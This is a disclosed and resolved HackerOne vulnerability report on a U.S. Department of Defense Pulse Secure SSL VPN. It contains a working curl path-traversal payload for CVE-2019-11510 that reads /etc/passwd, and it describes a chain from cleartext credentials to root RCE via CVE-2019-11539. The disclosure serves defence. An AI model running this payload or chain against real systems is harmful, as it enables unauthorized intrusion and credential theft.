Arbitrary File Reading leads to RCE in the Pulse Secure SSL VPN on the https://████

Critical

U.S. Dept Of Defense

Submitted None

Actions:

View on HackerOne

Reported by sp1d3rs

Vulnerability Details

Technical details and impact analysis

File and Directory Information Exposure

##Description Hello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25: **CVE-2019-11510 - Pre-auth Arbitrary File Reading** CVE-2019-11542 - Post-auth Stack Buffer Overflow **CVE-2019-11539 - Post-auth Command Injection** CVE-2019-11538 - Post-auth Arbitrary File Reading **CVE-2019-11508 - Post-auth Arbitrary File Writing** CVE-2019-11540 - Post-auth Session Hijacking Link to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf I discovered that `https://██████████` instance is vulnerable to described vulnerabilities. ##POC Reading `/etc/passwd` via CVE-2019-11510: ``` curl -i -k --path-as-is https://██████████/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ ``` ``` ███████ █████████ ██████████ ████ █████ ██████ ███████ ████████ ███████ ``` The RCE can be achieved with this chain: 1) Pulse Secure stores credentials in the cleartext. 2) Attacker reads credentials and authorizes on VPN 3) Attacker exploits CVE-2019-11539 - Post-auth Command Injection achieving RCE as root. ##Suggested fix Update the Pulse Secure SSL VPN software. ## Impact Remote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN. You can see here example report to Twitter by Orange Tsai: https://hackerone.com/reports/591295

Related CVEs

Associated Common Vulnerabilities and Exposures

CVE-2019-11539 HIGH

In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, and 8.1RX before 8.1R15.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2, 5.4RX before 5.4R7.1, 5.3RX before 5.3R12.1, 5.2RX before 5.2R12.1, and 5.1RX before 5.1R15.1, the admin web interface allows an authenticated attacker to …

CVE-2019-11510 CRITICAL

In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability .

CVE-2019-11540 HIGH

In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4 and 8.3RX before 8.3R7.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2 and 5.4RX before 5.4R7.1, an unauthenticated, remote attacker can conduct a session hijacking attack.

CVE-2019-11542 HIGH

In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, and 8.1RX before 8.1R15.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2, 5.4RX before 5.4R7.1, 5.3RX before 5.3R12.1, 5.2RX before 5.2R12.1, and 5.1RX before 5.1R15.1, an authenticated attacker (via the admin web interface) can …

CVE-2019-11538 HIGH

In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, and 8.1RX before 8.1R15.1, an NFS problem could allow an authenticated attacker to access the contents of arbitrary files on the affected device.

CVE-2019-11508 HIGH

In Pulse Secure Pulse Connect Secure (PCS) before 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an authenticated attacker (via the admin web interface) can exploit Directory Traversal to execute arbitrary code on the appliance.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$5000.00

Submitted

Weakness

File and Directory Information Exposure